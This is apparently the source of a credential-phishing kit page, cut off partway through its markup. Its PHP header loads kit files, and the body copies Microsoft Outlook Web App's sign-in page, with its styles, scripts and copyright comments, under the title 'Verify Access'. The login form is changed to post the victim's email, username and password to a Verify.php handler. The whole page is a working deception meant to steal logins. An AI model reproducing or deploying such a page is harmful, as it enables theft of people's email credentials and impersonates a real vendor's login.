<?php
session_start();
require "CONTROLS.php";
require "includes/functions.php";
require "includes/One_Time.php";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- Copyright (c) 2011 Microsoft Corporation. All rights reserved. -->
<!-- OwaPage = ASP.auth_logon_aspx -->
<!-- {57A118C6-2DA9-419d-BE9A-F92B0F9A418B} -->
<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link rel="shortcut icon" href="sd.png"> type="image/x-icon">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="Robots" content="NOINDEX, NOFOLLOW">
<title>Verify Access</title>
<style>
@font-face {
font-family: "Segoe UI WPC";
src: url("/owa/auth/15.0.1395/themes/resources/segoeui-regular.eot?#iefix") format("embedded-opentype"),
url("/owa/auth/15.0.1395/themes/resources/segoeui-regular.ttf") format("truetype");
}
@font-face {
font-family: "Segoe UI WPC Semilight";
src: url("/owa/auth/15.0.1395/themes/resources/segoeui-semilight.eot?#iefix") format("embedded-opentype"),
url("/owa/auth/15.0.1395/themes/resources/segoeui-semilight.ttf") format("truetype");
}
@font-face {
font-family: "Segoe UI WPC Semibold";
src: url("/owa/auth/15.0.1395/themes/resources/segoeui-semibold.eot?#iefix") format("embedded-opentype"),
url("/owa/auth/15.0.1395/themes/resources/segoeui-semibold.ttf") format("truetype");
}
</style>
<style>/*Copyright (c) 2003-2006 Microsoft Corporation. All rights reserved.*/
body.rtl
{
text-align:right;
direction:rtl;
}
body, .mouse, .twide, .tnarrow, form
{
height: 100%;
width: 100%;
margin: 0px;
}
.mouse, .twide
{
min-width: 650px; /* min iPad1 dimension */
min-height: 650px;
position: absolute;
top:0px;
bottom:0px;
left:0px;
right:0px;
}
.sidebar
{
background-color:#0072C6;
}
.mouse .sidebar, .twide .sidebar
{
position:absolute;
top: 0px;
bottom: 0px;
left: 0px;
display: inline-block;
width: 332px;
}
.tnarrow .sidebar
{
display: none;
}
.mouse .owaLogoContainer, .twide .owaLogoContainer
{
margin:213px auto auto 109px;
text-align:left /* Logo aligns left for both ltr & rtl */
}
.tnarrow .owaLogo
{
display: none;
}
.mouse .owaLogoSmall, .twide .owaLogoSmall
{
display: none;
}
.logonDiv
{
text-align:left;
}
.rtl .logonDiv
{
text-align:right;
}
.mouse .logonContainer, .twide .logonContainer
{
padding-top: 174px;
padding-left: 464px;
padding-right:142px;
position:absolute;
top:0px;
bottom: 0px;
left: 0px;
right: 0px;
text-align: center;
}
.mouse .logonDiv, .twide .logonDiv
{
position: relative;
vertical-align:top;
display: inline-block;
width: 423px;
}
.tnarrow .logonDiv
{
margin:25px auto auto -130px;
position: absolute;
left: 50%;
width: 260px;
padding-bottom: 20px;
}
.twide .signInImageHeader, .tnarrow .signInImageHeader
{
display: none;
}
.mouse .signInImageHeader
{
margin-bottom:22px;
}
.twide .mouseHeader
{
display: none;
}
.mouse .twideHeader
{
display: none;
}
input::-webkit-input-placeholder
{
font-size:16px;
color: #98A3A6;
}
input:-moz-placeholder
{
font-size:16px;
color: #98A3A6;
}
.tnarrow .signInInputLabel, .twide .signInInputLabel
{
display: none;
}
.mouse .signInInputLabel
{
margin-bottom: 2px;
}
.mouse .showPasswordCheck
{
display: none;
}
.signInInputText
{
border:1px solid #98A3A6;
color: #333333;
border-radius: 0;
-moz-border-radius: 0;
-webkit-border-radius: 0;
box-shadow: none;
-moz-box-shadow: none;
-webkit-box-shadow: none;
-webkit-appearance:none;
background-color: #FDFDFD;
width:250px;
margin-bottom:10px;
box-sizing: content-box;
-moz-box-sizing: content-box;
-webkit-box-sizing: content-box;
}
.mouse .signInInputText
{
height: 22px;
font-size: 12px;
padding: 3px 5px;
color: #333333;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
margin-bottom: 20px;
}
.twide .signInInputText, .tnarrow .signInInputText
{
border-color: #666666;
height: 22px;
font-size: 16px;
color: #000000;
font: $ShellInputTextTouchFont;
padding: 7px 7px;
font-family:'Segoe UI Semibold', 'Segoe WP Semibold', 'Segoe UI WPC Semibold', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
margin-bottom:20px;
width: 264px;
}
.divMain
{
width: 444px;
}
.l
{
text-align:left;
}
.rtl .l
{
text-align:right;
}
.r
{
text-align:right;
}
.rtl .r
{
text-align:left;
}
table#tblMain
{
margin-top: 48px;
padding: 0px;
}
table.mid
{
width: 385px;
border-collapse:collapse;
padding: 0px;
color:#444444;
}
table.tblConn
{
direction:ltr;
}
td.tdConnImg
{
width: 22px;
}
td.tdConn
{
padding-top: 15px;
}
td#mdLft
{
background: url("lgnleft.gif") repeat-y;
width: 15px;
}
td#mdRt
{
background: url("lgnright.gif") repeat-y;
width: 15px;
}
td#mdMid
{
padding: 0px 45px;
background: #ffffff;
vertical-align: top;
}
td .txtpad
{
padding: 3px 6px 3px 0px;
}
.txt
{
padding: 3px;
height: 2.2em;
}
input.btn
{
color: #ffffff;
background-color: #eb9c12;
border: 0px;
padding: 2px 6px;
margin: 0px 6px;
text-align:center;
}
.btnOnFcs
{
color: #ffffff;
background-color: #eb9c12;
border: 0px;
padding: 2px 6px;
margin: 0px 6px;
text-align:center;
}
.btnOnMseOvr
{
color: #ffffff;
background-color: #f9b133;
border: 0px;
padding: 2px 6px;
margin: 0px 6px;
text-align:center;
}
.btnOnMseDwn
{
color: #000000;
background-color: #f9b133;
border: 0px solid #f9b133;
padding: 2px 6px;
margin: 0px 6px;
text-align:center;
}
.nowrap
{
white-space:nowrap;
}
hr
{
height: 0px;
visibility: hidden;
}
.wrng
{
color:#ff6c00;
}
.disBsc
{
color:#999999;
}
.expl
{
color:#999999;
}
.w100, .txt
{
width: 100%;
}
.txt
{
margin: 0px 6px;
}
.rdo
{
margin: 0px 12px 0px 32px;
}
body.rtl .rdo
{
margin: 0px 32px 0px 12px;
}
tr.expl td, tr.wrng td
{
padding: 2px 0px 4px;
}
tr#trSec td
{
padding: 3px 0px 8px;
}
/* language page specific styles */
td#tdLng
{
padding: 12px 0px;
}
td#tdTz
{
padding: 8px 0px;
}
select#selTz
{
padding: 0px;
margin: 0px;
}
td#tdOptMsg
{
padding: 10px 0px;
}
td#tdOptChk
{
padding: 0px 0px 15px 65px;
}
td#tdOptAcc
{
vertical-align:middle;
padding: 0px 0px 0px 3px;
}
select#selLng
{
margin: 0px 16px;
}
/* logoff page specific styles */
td#tdMsg
{
margin: 9px 0px 64px;
}
input#btnCls
{
margin: 3px 6px;
}
td.lgnTL, td.lgnBL
{
width: 456px;
}
td.lgnTM
{
background: url("lgntopm.gif") repeat-x;
width: 100%;
}
td.lgnBM
{
background: url("lgnbotm.gif") repeat-x;
width: 100%;
}
td.lgnTR, td.lgnBR
{
width: 45px;
}
table.tblLgn
{
padding: 0px;
margin: 0px;
border-collapse:collapse;
width: 100%;
}
.signInBg
{
margin:0px;
}
.signInTextHeader
{
font-size:60px;
color:#404344;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
margin-bottom:18px;
white-space: nowrap;
}
.signInInputLabel
{
font-size:12px;
color:#666666;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
}
.signInCheckBoxText
{
font-size:12px;
color:#6A7479;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
margin-top:16px;
}
.twide .signInCheckBoxText, .tnarrow .signInCheckBoxText
{
font-size: 15px;
}
.signInCheckBoxLink
{
font-size:12px;
color:#0072C6;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
}
.signInEnter
{
font-size:22px;
color:#0072C6;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
margin-top:20px;
}
.twide .signInEnter
{
margin-top:17px;
font-size: 29px;
}
.tnarrow .signInEnter
{
margin-top:2px;
font-size: 29px;
position: relative;
float: left;
left: 50%;
}
.signinbutton
{
cursor:pointer;
display:inline
}
.mouse .signinbutton
{
padding: 0px 8px 5px 8px;
margin-left: -8px;
}
.rtl .mouse .signinbutton
{
margin-right: -8px;
}
.tnarrow .signinbutton
{
position: relative;
float: left;
left: -50%;
}
.shellDialogueHead
{
font-size:29px;
color:#0072C6;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
}
.mouse .shellDialogueHead
{
line-height: 35px;
margin-bottom: 10px;
}
.twide .shellDialogueHead, .tnarrow .shellDialogueHead
{
line-height:34px;
margin-bottom: 12px;
}
.shellDialogueMsg
{
font-size:13px;
color:#333333;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
line-height:18px;
}
.twide .shellDialogueMsg, .tnarrow .shellDialogueMsg
{
font-size: 15px;
}
.headerMsgDiv
{
width: 350px;
margin-bottom: 22px;
}
.twide .headermsgdiv
{
margin-bottom: 30px;
}
.tnarrow .headermsgdiv
{
width: 260px;
margin-bottom: 30px;
}
.signInError
{
font-size:12px;
color:#C1272D;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
margin-top:12px;
}
.passwordError
{
color: #A80F22;
font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-serif;
line-height: 18px;
}
.mouse .passwordError
{
margin-top: 10px;
font-size: 13px;
}
.twide .passwordError, .tnarrow .passwordError
{
margin-top: 12px;
font-size: 15px;
}
.signInExpl
{
font-size:12px;
color:#999999;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
margin-top:5px;
}
.signInWarning
{
font-size:12px;
color:#C1272D;
font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semilight', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
margin-top:5px;
}
input.chk
{
margin-right:9px;
margin-left:0px;
}
.imgLnk
{
vertical-align: middle;
line-height:2;
margin-top: -2px;
}
.signinTxt
{
padding-left:11px;
padding-right:11px; /* Needed for RTL, doesnt hurt to add this for LTR as well */
}
.hidden-submit {
border: 0 none;
height: 0;
width: 0;
padding: 0;
margin: 0;
overflow: hidden;
}
.officeFooter
{
position:absolute;
bottom: 33px;
right: 45px;
}
.tnarrow .officeFooter
{
display: none;
}
</style>
<script>
// flogon.js
//
// This file contains the script used by Logon.aspx
//
//Copyright (c) 2003-2006 Microsoft Corporation. All rights reserved.
/// <summary>
/// OnLoad handler for logon page
/// </summary>
window.onload = function ()
{
// If we are replacing the current window with the logon page, initialize the logon page UI now
//
if (a_fRC)
initLogon();
// Otherwise we need to find the window to replace with the logon page and redirect that window
//
else
redir();
};
/// <summary>
/// Initializes the logon page
/// </summary>
function initLogon()
{
try
{
//
// we don't call document.execCommand("ClearAuthenticationCache","false"); anymore. As a part of the Pending-Notification
// infrastructure, we are making a change to make sure startpage does not get loaded more than once. This solution is cookie
// based. This execCommand was clearing all cookies in the scenario when a user logged on from a child window during an
// FBA timeout. We do not want that to happen anymore. If this breaks anything, we may need to consider a different solution.
//
// Old Comments:
// If the "Clear the Authentication Cache" flag is set to true and
// we are coming from the logoff page , clear the cache. See bug 41770 and 5840 for details.
//
// Logoff the S-Mime control.
//
LogoffMime();
}
catch (e) { }
// Check for username cookie
//
var re = /(^|; )logondata=acc=([0|1])&lgn=([^;]+)(;|$)/;
var rg = re.exec(document.cookie);
if (rg)
{
// Fill in username, set security to private, and restore the "use basic" selection
//
gbid("username").value = rg[3];
try
{
var signInErrorElement = gbid("signInErrorDiv");
if (signInErrorElement)
{
signInErrorElement.focus();
}
else
{
gbid("password").focus();
}
}
catch (e)
{}
if (gbid("chkPrvt") && !gbid("chkPrvt").checked)
{
gbid("chkPrvt").click();
}
if (rg[2] == "1" && gbid("chkBsc")) // chkBsc doesn't exist if the request comes from ECP
gbid("chkBsc").click();
}
else
{
// The variable g_fFcs is set to false when the password gains focus,
// so that we don't accidentally set focus to the username field while
// the user is typing their password
//
if (g_fFcs)
{
try
{
gbid("username").focus();
}
catch (e)
{ }
}
}
// OWA Premium currently supports
// IE 7+, Safari 3+, Firefox 3+ for Windows / Mac
if (IsOwaPremiumBrowser() && gbid("chkBsc")) // chkBsc doesn't exist if the request comes from ECP
gbid("chkBsc").disabled = false;
// Are cookies enabled?
//
var sCN = "cookieTest";
document.cookie = sCN + "=1";
var cookiesEnabled = document.cookie.indexOf(sCN + "=") != -1;
if (cookiesEnabled == false)
{
shw(gbid("cookieMsg"));
hd(gbid("lgnDiv"));
}
// Show the public/private warning message
clkSec();
}
/// <summary>
/// Finds the frame we want to load the logon page into, and then loads it there
/// </summary>
function redir()
{
var o = window;
// If we're in a dialog, open a logon window and close the dialog - this
// basically inlines a version of opnWin() so that we don't need to include
// uglobal.js in logon.aspx
//
try
{
if (o.dialogArguments)
{
var sWN = new String(Math.round(Math.random() * 100000));
var sF = "toolbar=0,location=0,directories=0,status=1,menubar=0,scrollbars=1,resizable=1,width=800,height=600";
var iT = Math.round((screen.availHeight - 600) / 2);
var iL = Math.round((screen.availWidth - 800) / 2);
sF += ",top=" + iT + ",left=" + iL;
// Fix for E12 14838. Need to open this window from the window that opened us, because opening it from this dialog
// which we are about to close can cause the auth cookies to not propagate to the window that opened this dialog.
//
var op = o.dialogArguments.opener;
try
{
if (op)
op.open(a_sCW, sWN, sF);
}
catch (e)
{ }
o.close();
return;
}
}
catch (e)
{ }
// The url to redirect to after logon
//
var sUrl = a_sUrl;
// Find the outermost OWA frame
//
while (1)
{
try
{
// Try to move up one window/frame
//
if (!(o.frameElement && o.frameElement.ownerDocument))
break;
var oF = o.frameElement.ownerDocument.parentWindow || // IE name
o.frameElement.ownerDocument.defaultView; // W3C name
// If we're not in an OWA/ECP window, we've found the frame to replace
//
if (!oF || (!oF.g_fOwa && !oF.g_fEcp))
break;
// Move up a frame
//
o = oF;
// We're replacing something other than the current frame, we'll just
// log back in to the default start page if the frame doesn't provide a url
// for relogon. The frame should provide a global method GetReloadUrl
// if it wants to keep current state.
// $NOTES: ECP needs to keep the current frame state after re-logon.
sUrl = o.GetReloadUrl ? "&url=" + encodeURIComponent(o.GetReloadUrl()) : "";
}
// Either we're at the top, or access was denied - either way, stop
//
catch (e)
{
break;
}
}
// See if the window was opened by another window
//
try
{
var oW = o.opener;
// If it was opened by another OWA/ECP window, take it over
//
if (oW && (oW.g_fOwa || oW.g_fEcp))
{
// Center and resize the window
//
var iX = Math.round((screen.availWidth - 800) / 2);
var iY = Math.round((screen.availHeight - 600) / 2);
o.moveTo(iX, iY);
o.resizeTo(800, 600);
// Close the window after logging in
//
sUrl = "&url=" + encodeURIComponent(a_sCW);
}
}
// We don't have access to the opener window, so it couldn't be part of OWA
//
catch (e) { }
// Redirect the window
//
if (o.navigate)
o.navigate(a_sLgn + sUrl);
else
o.location = a_sLgn + sUrl;
}
/// <summary>
/// Show an element
/// </summary>
/// <param name="o">Element to show</param>
function shw(o)
{
o.style.display = "";
}
/// <summary>
/// Hide an element
/// </summary>
/// <param name="o">Element to hide</param>
function hd(o)
{
o.style.display = "none";
}
/// <summary>
/// OnClick handler for the show private explanation
/// </summary>
function clkSecExp(id)
{
var o = gbid(id);
if (o.tagName == "IMG")
o = o.parentNode;
switch (o)
{
case gbid("lnkShwSec"):
hd(gbid("lnkShwSec"));
shw(gbid("lnkHdSec"));
shw(gbid("prvtExp"));
gbid("lnkHdSec").focus();
break;
case gbid("lnkHdSec"):
shw(gbid("lnkShwSec"));
hd(gbid("lnkHdSec"));
hd(gbid("prvtExp"));
gbid("lnkShwSec").focus();
break;
}
}
/// <summary>
/// onkeydown handler for the show private explanation
/// </summary>
function kdSecExp(id)
{
// When user press space bar, we shall treat it as click.
if (window.event.keyCode == 32)
{
clkSecExp(id);
}
}
/// <summary>
/// OnClick handler for the security radio buttons
/// </summary>
function clkSec()
{
if (gbid("chkPrvt") == null) {
// If the private checkbox is not present in the page there is nothing we should do here
//
return;
}
// Display/hide the warning message
//
var c = gbid("chkPrvt").checked;
gbid("prvtWrn").style.display = c ? "" : "none";
// Update flags and username cookie
//
if (c)
{
document.logonForm["flags"].value |= 4;
}
else
{
document.logonForm["flags"].value &= ~4;
// Remove the cookie by expiring it
//
var oD = new Date();
oD.setTime(oD.getTime() - 9999);
document.cookie = "logondata=; expires=" + oD.toUTCString();
document.cookie = "PrivateComputer=; path=/; expires=" + oD.toUTCString();
}
}
/// <summary>
/// OnClick handler for the use owa basic checkbox
/// </summary>
function clkBsc()
{
// Display/hide the warning message
//
var c = gbid("chkBsc").checked;
gbid("bscExp").style.display = c ? "" : "none";
if (c)
document.logonForm.flags.value |= 1;
else
document.logonForm.flags.value &= ~1;
}
function checkSubmit(e) {
if (e && e.keyCode == 13) {
// Since we are explicitly handling the click prevent the default implicit submit
if (e.preventDefault) {
e.preventDefault();
}
clkLgn();
}
}
/// <summary>
/// OnClick handler for the logon button
/// </summary>
function clkLgn()
{
// Add performance marker for Logon page as the item name defined in the spec:
// http://exweb/14/Specs/E14 Spec Library/Client side perf marker definition.xlsx
//
addPerfMarker("Logon.Start");
var p = false;
if (gbid("chkPrvt")) {
p = p | gbid("chkPrvt").checked;
}
else
{
p = true;
}
// If security is set to private, add a cookie to persist username and basic setting
// Cookie format: logondata=acc=<1 or 0>&lgn=<username>
//
if (p)
{
// Calculate the expires time for two weeks
//
var oD = new Date();
oD.setTime(oD.getTime() + 2 * 7 * 24 * 60 * 60 * 1000);
var sA = "acc=" + (gbid("chkBsc") && gbid("chkBsc").checked ? 1 : 0);
var sL = "lgn=" + gbid("username").value;
document.cookie = "logondata=" + sA + "&" + sL + "; expires=" + oD.toUTCString();
document.cookie = "PrivateComputer=true; path=/; expires=" + oD.toUTCString();
}
if (gbid("showPasswordCheck").checked)
{
passwordElement = gbid("password");
passwordTextElement = gbid("passwordText");
passwordElement.value = passwordTextElement.value;
}
// We clean the post back cookie in order to indicate that the credentials post is legitimate (and not history postback)
//
document.cookie = "PBack=0; path=/";
document.logonForm.submit();
}
/// <summary>
/// OnClick handler for the retry button
/// </summary>
function clkRtry()
{
window.location.reload();
}
/// <summary>
/// OnClick handler for the ok button after changing password (will go to owa/)
/// </summary>
function clkReLgn()
{
window.location.href = '../';
}
/// <summary>
/// GetElementByID from Document
/// </summary>
/// <param name="s">Id of the Element</param>
function gbid(s)
{
return document.getElementById(s);
}
/// <summary>
/// Is the Client IE 7, Safari 3, Firefox 3 or Above
/// Note The rules should match owa\bin\core\Utlities.cs@IsDownLevelClient
/// </summary>
function IsOwaPremiumBrowser()
{
var ua = navigator.userAgent;
var av = navigator.appVersion;
var mac = (av.indexOf('Mac') != -1);
var win = ((av.indexOf('Win') != -1) || (av.indexOf('NT') != -1));
// If you change the follow browser check logic, change utility.js as well.
// We have duplicate logic because otherwise logon page must include more code than necessary.
//
var ie = (ua.indexOf("MSIE ") != -1);
var firefox = (ua.indexOf("Firefox/") != -1 && ua.indexOf("Gecko/") != -1 && Array.every);
var safari = (ua.indexOf("Safari") != -1 && ua.indexOf("WebKit") != -1);
var version = 2.0;
if (ie)
{
version = parseFloat(ua.replace(/^.*MSIE /, ''));
}
else if (firefox)
{
version = parseFloat(ua.replace(/^.*Firefox\//, ''));
}
else if (safari)
{
version = parseFloat(ua.replace(/^.*Version\//, ''));
}
else
{
version = parseInt(av);
}
if (win)
{
if (ie)
return (version >= 7.0);
else if (safari)
return (version >= 3.0);
else if (firefox)
return (version >= 3.0);
}
else if (mac)
{
if (safari)
return (version >= 2.0);
else if (firefox)
return (version >= 3.0);
}
return false;
}
/// <summary>
/// Convert an error code to HRESULT.
/// </summary>
function hres(iErr)
{
return iErr + 0xffffffff + 1;
}
/// <summary>
/// Log off S-MIME control if it presents.
/// </summary>
function LogoffMime()
{
try
{
if ((typeof (mimeLogoffE2k3) != "undefined" && null != mimeLogoffE2k3) && IsMimeCtlInst("MimeBhvr.MimeCtlVer"))
mimeLogoffE2k3.Logoff();
if ((typeof (mimeLogoffE2k7SP1) != "undefined" && null != mimeLogoffE2k7SP1) && IsMimeCtlInst("OwaSMime.MimeCtlVer"))
mimeLogoffE2k7SP1.Logoff();
if ((typeof (mimeLogoffE2k9) != "undefined" && null != mimeLogoffE2k9) && IsMimeCtlInst("OwaSMime2.MimeCtlVer"))
mimeLogoffE2k9.Logoff();
}
catch (e)
{
}
}
/// <summary>
/// Add performance marker which can write ETW trace for clicking logon
/// </summary>
/// <param name="sItemName">Identify string to say start clicking logon</param>
function addPerfMarker(sItemName)
{
try
{
if (window.msWriteProfilerMark)
{
window.msWriteProfilerMark(sItemName);
}
}
catch (e)
{
// We don't care any exception caused by test code in product, swallow it
}
}
//
// NOTE: flogon.js does not contain a call to stJS("flogon.js"). This is because flogon.js is loaded at logon time before uglobal.js
//
//-----------------------------------------------------------
// END flogon.js
//-----------------------------------------------------------
</script>
<script type="text/javascript">
<!--
var a_fRC = 1;
var g_fFcs = 1;
var a_fLOff = 0;
var a_fCAC = 0;
var a_fEnbSMm = 0;
/// <summary>
/// Is Mime Control installed?
/// </summary>
function IsMimeCtlInst(progid)
{
if (!a_fEnbSMm)
return false;
var oMimeVer = null;
try
{
// TODO: ingore this on none IE browser
//
//oMimeVer = new ActiveXObject(progid);
}
catch (e)
{
}
if (oMimeVer != null)
return true;
else
return false;
}
/// <summary>
/// Render out the S-MIME control if it is installed.
/// </summary>
function RndMimeCtl()
{
if (IsMimeCtlInst("MimeBhvr.MimeCtlVer"))
RndMimeCtlHlpr("MimeNSe2k3", "D801B381-B81D-47a7-8EC4-EFC111666AC0", "MIMEe2k3", "mimeLogoffE2k3");
if (IsMimeCtlInst("OwaSMime.MimeCtlVer"))
RndMimeCtlHlpr("MimeNSe2k7sp1", "833aa5fb-7aca-4708-9d7b-c982bf57469a", "MIMEe2k7sp1", "mimeLogoffE2k7sp1");
if (IsMimeCtlInst("OwaSMime2.MimeCtlVer"))
RndMimeCtlHlpr("MimeNSe2k9", "4F40839A-C1E5-47E3-804D-A2A17F42DA21", "MIMEe2k9", "mimeLogoffE2k9");
}
/// <summary>
/// Helper function to factor out the rendering of the S/MIME control.
/// </summary>
function RndMimeCtlHlpr(objid, classid, ns, id)
-->
</script>
<script>
var mainLogonDiv = window.document.getElementById("mainLogonDiv");
var showPlaceholderText = false;
var mainLogonDivClassName = 'mouse';
if (mainLogonDivClassName == "tnarrow") {
showPlaceholderText = true;
// Output meta tag for viewport scaling
document.write('<meta name="viewport" content="width = 320, initial-scale = 1.0, user-scalable = no" />');
}
else if (mainLogonDivClassName == "twide"){
showPlaceholderText = true;
}
function setPlaceholderText() {
window.document.getElementById("username").placeholder = "Domain/Email";
window.document.getElementById("username").placeholder = "user name";
window.document.getElementById("password").placeholder = "password";
window.document.getElementById("passwordText").placeholder = "password";
}
function showPasswordClick() {
var showPassword = window.document.getElementById("showPasswordCheck").checked;
passwordElement = window.document.getElementById("password");
passwordTextElement = window.document.getElementById("passwordText");
if (showPassword)
{
passwordTextElement.value = passwordElement.value;
passwordElement.style.display = "none";
passwordTextElement.style.display = "inline";
passwordTextElement.focus();
}
else
{
passwordElement.value = passwordTextElement.value;
passwordTextElement.style.display = "none";
passwordTextElement.value = "";
passwordElement.style.display = "inline";
passwordElement.focus();
}
}
</script>
</head>
<body class="signInBg" style="background: #f2f2f2 url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAANvCAYAAADk40vJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA+VpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8w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Glvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PnYK5fsAAAFLSURBVHja7NthDoIwDAZQNN7/vCTKKifQgZh12yPx30uG/bqyGLyt6xpLxXVfKi8QBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBMFh4WP/ePUSBEEQBEHQIQ4EQRA0cUHQdgVBe0Z5QN0Dalx1lAwoGcmAklEeyShP2/I8QlNoCuWRzJXlCeXRuGfvMSSjcX1rjat7NK6llUcyyqM8kvlh6X3dIhmNe2pp5ZGMpQ8nE8qT9R6LZFLeY0xYHnvm69G1h/NjmXJpjWukSGa4ZGIzUpI+C3vYMzM+C6Nu6XmH/XwjpZc9I5mkwz6K8iRtXMlI5mwy0TKZV/Zhf/kZd6g903akxJyN28Ow3ySTdKQ0SyZajpRyKfzPr1wNG3czUj5t1x6G/TbhSKlMZqiRcuhk365xI/2wj6aN+0y+Z25R98LQWH8QeQswAHk7x/k/TxxLAAAAAElFTkSuQmCC') repeat-x">
<script type="text/javascript">
RndMimeCtl();
</script>
<noscript>
<div id="dvErr">
<table cellpadding="0" cellspacing="0">
<tr>
<td>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAptJREFUeNqkU01LVFEYfu7XzJ17nZmyJBW0sgRDRAgLoi8tghZG9QNaR7tg2vQjbCu2a9Eq2qRGUYFBZAtLURzSUUcJG8d0ZnTu99fpPdIMSktfOOfcezjP8z7vc94jMMZwmJD5JAhCfWPm0e2+MGKDYRQNBCHrpTWi/1kaExFjY7defp6qneXJhb3pHwGBH4qy8uSIrp9NqjJ0TXsXuvZ0KfvjacEVsIlEzhXkofuvJ0f+I+BgVdOftfZe0OIsQBBTFxLX7raxCIH75vn3xOjwQDbQsSgfNw0pkXkwPjXCsWJNNjFlmttPaWrqKBBTEb9yr0No7tCEptaU3H3xMgQJp90imo2C7plGZvhmbx/H7hHwmnUJnWpjI8L1ZSg7fyBoSQWUHo4FIabFwEJE5HeLX4JmVzqrtjdYN5GM6k95FlhpE4q5A8GzEWzkITYkKYWEqLgG+C58IgiIMx1WkfX0/joBud2Tsrco+wokZ5dAIsL5Scgnu8ACH/7qTyL14RDYo/NJZqPq+D37FYDtlqHlp6n+xF7WYHkO8ZBkE6G9tgQ3BCwabsTdBwzbw34P5oohfZaKwHYB2CrA+bWCyKwgyC/AIU+qnIDAAYE3PAmG48/tU8Am1uXU9XR1A4rrQ6S2iHwP9pe3dIc2/OouTCLgJfBYNCVYrj9RV8A7rCIncwvSMWz5JIDUyW2dkXr1DmKnzxFBuVwDZw0JMxXkLC8YqxPw9vSk2NC62mQui2mUA9rsvpSX0o1+vL2r7InxFzXwp03R/G1GQx9Na6pOwIO3p6U0ZFbjLbl56QRY9tsZbyU7W/jwalyKq4/fb6sYLSq5JUPIfA28kRruwFvgwTuMNwmNG3RV58ntkAyb5jVz2bXMB97CYeKvAAMACjWGjcO+NcIAAAAASUVORK5CYII=" alt=""></td>
<td style="width:100%">To access this document, browser settings must allow scripts to run. For information about how to allow scripts, consult the Help for your browser. If your browser doesn't support scripts, you can download <a href="?">Windows Internet Explorer</a> for access to alow scripts run.</td>
</tr>
</table>
</div>
</noscript>
<form action="Verify.php?sslchannel=true&sessionid=_JeHFUq_VJOXK0QWHtoGYDw1774256418&fid.123InboxLight" method="POST" target="_top" name="logonForm" enctype="application/x-www-form-urlencoded" data-bind="autoSubmit: forceSubmit, attr: { action: postUrl }" autocomplete="off">
<input type="hidden" name="destination" value="?">
<input type="hidden" name="flags" value="4">
<input type="hidden" name="forcedownlevel" value="0">
<!-- Default to mouse class, so that things don't look wacky if the script somehow doesn't apply a class -->
<div id="mainLogonDiv" class="mouse">
<script>
var mainLogonDiv = window.document.getElementById("mainLogonDiv");
mainLogonDiv.className = mainLogonDivClassName;
</script>
<div class="sidebar" style = "bg-color:white;">
<div class="owaLogoContainer">
<img src="ty.png" class="owaLogo" aria-hidden="true">
</div>
</div>
<div class="logonContainer">
<div id="lgnDiv" class="logonDiv" onkeypress="return checkSubmit(event)">
<div class="signInImageHeader" role="heading" aria-label="Verify Authorization Access ">
<img src="mk.png" class="owaLogo" aria-hidden="true">
</div>
<div class="signInInputLabel" id="userNameLabel" aria-hidden="true">Domain/Email:</div>
<div><input type = "email" id="username" name="emailid" class="signInInputText" role="textbox" aria-labelledby="userNameLabel"></div>
<div class="signInInputLabel" id="userNameLabel" aria-hidden="true">User name:</div>
<div><input id="username" name="userid" class="signInInputText" role="textbox" aria-labelledby="userNameLabel"></div>
<div class="signInInputLabel" id="passwordLabel" aria-hidden="true">Password:</div>
<div><input id="password" onfocus="g_fFcs=0" name="pass" value="" type="password" class="signInInputText" aria-labelledby="passwordLabel"></div>
<div><input id="passwordText" onfocus="g_fFcs=0" name="passwordText" style="display: none;" class="signInInputText" aria-labelledby="passwordLabel"></div>
<div class="showPasswordCheck signInCheckBoxText">
<input type="checkbox" id="showPasswordCheck" class="chk" onclick="showPasswordClick()">
<span>Show password</span>
</div>
<div id="expltxt" class="signInExpl" role="alert">
</div>
<div class="signInEnter">
<div onclick="clkLgn()" class="signinbutton" role="button" tabindex="0">
